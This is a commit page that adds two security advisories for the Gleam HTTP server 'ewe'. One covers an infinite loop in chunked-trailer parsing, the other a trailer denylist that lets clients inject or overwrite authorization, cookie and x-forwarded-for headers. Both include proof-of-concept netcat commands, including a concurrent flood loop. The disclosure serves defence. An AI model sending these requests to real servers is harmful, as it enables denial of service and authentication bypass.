Skip to content

Commit e3e1d84

Browse files
1 parent ef0d0dc commit e3e1d84

2 files changed

Lines changed: 130 additions & 0 deletions

File tree

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-4w98-xf39-23gp",
4+
"modified": "2026-03-16T20:49:50Z",
5+
"published": "2026-03-16T20:49:50Z",
6+
"aliases": [],
7+
"summary": "Loop with Unreachable Exit Condition ('Infinite Loop') in ewe",
8+
"details": "## Summary\n\newe's `handle_trailers` function contains a bug where rejected trailer headers (forbidden or undeclared) cause an infinite loop. The function recurses with the original unparsed buffer instead of advancing past the rejected header, re-parsing the same header forever. Each malicious request permanently wedges a BEAM process at 100% CPU with no timeout or escape.\n\n## Impact\n\nWhen `handle_trailers` (`ewe/internal/http1.gleam:493`) encounters a trailer that is either not in the declared trailer set or is blocked by `is_forbidden_trailer`, three code paths (lines 520, 523, 526) recurse with the original buffer `rest` instead of `Buffer(header_rest, 0)`:\n\n```gleam\n// Line 523 — uses `rest` (original buffer), not `Buffer(header_rest, 0)` (remaining)\nFalse -> handle_trailers(req, set, rest)\n```\n\nThis causes `decoder.decode_packet` to re-parse the same header on every iteration, producing an infinite loop. The BEAM process never yields, never times out, and never terminates.\n\n**Any ewe application that calls `ewe.read_body` on chunked requests is affected.** This is exploitable by any unauthenticated remote client. There is no application-level workaround — the infinite loop is triggered inside `read_body` before control returns to application code.\n\n### Proof of Concept\n\n**Send a chunked request with a forbidden trailer (`host`) to trigger the infinite loop:**\n\n```sh\nprintf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: host\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nhost: evil.example.com\\r\\n\\r\\n' | nc -w 3 localhost 8080\n```\n\nThis will hang (no response) until the `nc` timeout. The server-side handler process is stuck forever.\n\n**Exhaust server resources with concurrent requests:**\n\n```sh\nfor i in $(seq 1 50); do\n printf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: host\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nhost: evil.example.com\\r\\n\\r\\n' | nc -w 1 localhost 8080 &\ndone\n```\n\nOpen the Erlang Observer (`observer:start()`) and sort the Processes tab by Reductions to see the stuck processes with continuously climbing reduction counts.\n\n### Vulnerable Code\n\nAll three `False`/`Error` branches in `handle_trailers` have the same bug:\n\n```gleam\n// ewe/internal/http1.gleam, lines 493–531\nfn handle_trailers(\n req: Request(BitArray),\n set: Set(String),\n rest: Buffer,\n) -> Request(BitArray) {\n case decoder.decode_packet(HttphBin, rest) {\n Ok(Packet(HttpEoh, _)) -> req\n Ok(Packet(HttpHeader(idx, field, value), header_rest)) -> {\n // ... field name parsing ...\n case field_name {\n Ok(field_name) -> {\n case\n set.contains(set, field_name) && !is_forbidden_trailer(field_name)\n {\n True -> {\n case bit_array.to_string(value) {\n Ok(value) -> {\n request.set_header(req, field_name, value)\n |> handle_trailers(set, Buffer(header_rest, 0)) // correct\n }\n Error(Nil) -> handle_trailers(req, set, rest) // BUG: line 520\n }\n }\n False -> handle_trailers(req, set, rest) // BUG: line 523\n }\n }\n Error(Nil) -> handle_trailers(req, set, rest) // BUG: line 526\n }\n }\n _ -> req\n }\n}\n```",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Hex",
19+
"name": "ewe"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0.8.0"
27+
},
28+
{
29+
"fixed": "3.0.5"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/vshakitskiy/ewe/security/advisories/GHSA-4w98-xf39-23gp"
40+
},
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/vshakitskiy/ewe/commit/8513de9dcdd0005f727c0f6f15dd89f8d626f560"
44+
},
45+
{
46+
"type": "WEB",
47+
"url": "https://github.com/vshakitskiy/ewe/commit/d8b9b8a86470c0cb5696647997c2f34763506e37"
48+
},
49+
{
50+
"type": "PACKAGE",
51+
"url": "https://github.com/vshakitskiy/ewe"
52+
}
53+
],
54+
"database_specific": {
55+
"cwe_ids": [
56+
"CWE-825"
57+
],
58+
"severity": "HIGH",
59+
"github_reviewed": true,
60+
"github_reviewed_at": "2026-03-16T20:49:50Z",
61+
"nvd_published_at": null
62+
}
63+
}
Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-9w88-79f8-m3vp",
4+
"modified": "2026-03-16T20:49:36Z",
5+
"published": "2026-03-16T20:49:36Z",
6+
"aliases": [],
7+
"summary": "Permissive List of Allowed Inputs in ewe",
8+
"details": "## Summary\n\newe's chunked transfer encoding trailer handling merges declared trailer fields into `req.headers` after body parsing, but the denylist only blocks 9 header names. Security-sensitive headers like `authorization`, `cookie`, and `x-forwarded-for` can be injected or overwritten by a malicious client via trailers, potentially bypassing authentication or spoofing proxy-trust headers.\n\n## Impact\n\nWhen `ewe.read_body` processes a chunked request with a `Trailer` header, it calls `handle_trailers` (`ewe/internal/http1.gleam:493`), which merges declared trailer fields into `req.headers` via `request.set_header` (line 517). The `is_forbidden_trailer` denylist (line 534) only blocks 9 header names: `transfer-encoding`, `content-length`, `host`, `cache-control`, `expect`, `max-forwards`, `pragma`, `range`, and `te`.\n\nSecurity-sensitive headers are not blocked, including:\n\n- `authorization` — attacker can inject or overwrite Bearer tokens\n- `cookie` / `set-cookie` — attacker can inject session cookies\n- `proxy-authorization` — attacker can inject proxy credentials\n- `x-forwarded-for`, `x-forwarded-host`, `x-forwarded-proto` — attacker can spoof proxy-trust headers\n- `x-real-ip` — attacker can spoof client IP\n\nA malicious client can inject these headers by declaring them in the `Trailer` request header and including them after the final `0\\r\\n` chunk. If the header already exists (e.g., set by a reverse proxy), `request.set_header` overwrites it. Any application logic that reads these headers after calling `ewe.read_body` — such as authentication middleware, IP-based rate limiting, or session validation — will see the attacker-controlled values.\n\n### Proof of Concept\n\n**Inject an `authorization` header that didn't exist:**\n\n```sh\nprintf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: authorization\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nauthorization: Bearer injected-token\\r\\n\\r\\n' | nc -w 2 localhost 8080\n```\n\n**Overwrite a legitimate `authorization` header set by a proxy:**\n\n```sh\nprintf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nAuthorization: Bearer legitimate-token\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: authorization\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nauthorization: Bearer evil-token\\r\\n\\r\\n' | nc -w 2 localhost 8080\n```\n\n**Inject `x-forwarded-for` to spoof client IP:**\n\n```sh\nprintf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: x-forwarded-for\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nx-forwarded-for: 10.0.0.1\\r\\n\\r\\n' | nc -w 2 localhost 8080\n```\n\n## Patches\n\n- Expand the denylist in `is_forbidden_trailer` to include `authorization`, `cookie`, `set-cookie`, `proxy-authorization`, `x-forwarded-for`, `x-forwarded-host`, `x-forwarded-proto`, `x-real-ip`, and other security-sensitive headers.\n- Alternatively, switch to an allowlist model that only permits explicitly safe trailer field names.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Hex",
19+
"name": "ewe"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0.6.0"
27+
},
28+
{
29+
"fixed": "3.0.5"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/vshakitskiy/ewe/security/advisories/GHSA-9w88-79f8-m3vp"
40+
},
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/vshakitskiy/ewe/commit/07dcfd2135fc95f38c17a9d030de3d7efee1ee39"
44+
},
45+
{
46+
"type": "WEB",
47+
"url": "https://github.com/vshakitskiy/ewe/commit/94ab6e7bf7293e987ae98b4daa51ea131c2671ba"
48+
},
49+
{
50+
"type": "PACKAGE",
51+
"url": "https://github.com/vshakitskiy/ewe"
52+
},
53+
{
54+
"type": "WEB",
55+
"url": "https://github.com/vshakitskiy/ewe/releases/tag/v3.0.5"
56+
}
57+
],
58+
"database_specific": {
59+
"cwe_ids": [
60+
"CWE-183"
61+
],
62+
"severity": "MODERATE",
63+
"github_reviewed": true,
64+
"github_reviewed_at": "2026-03-16T20:49:36Z",
65+
"nvd_published_at": null
66+
}
67+
}

0 commit comments

Comments
 (0)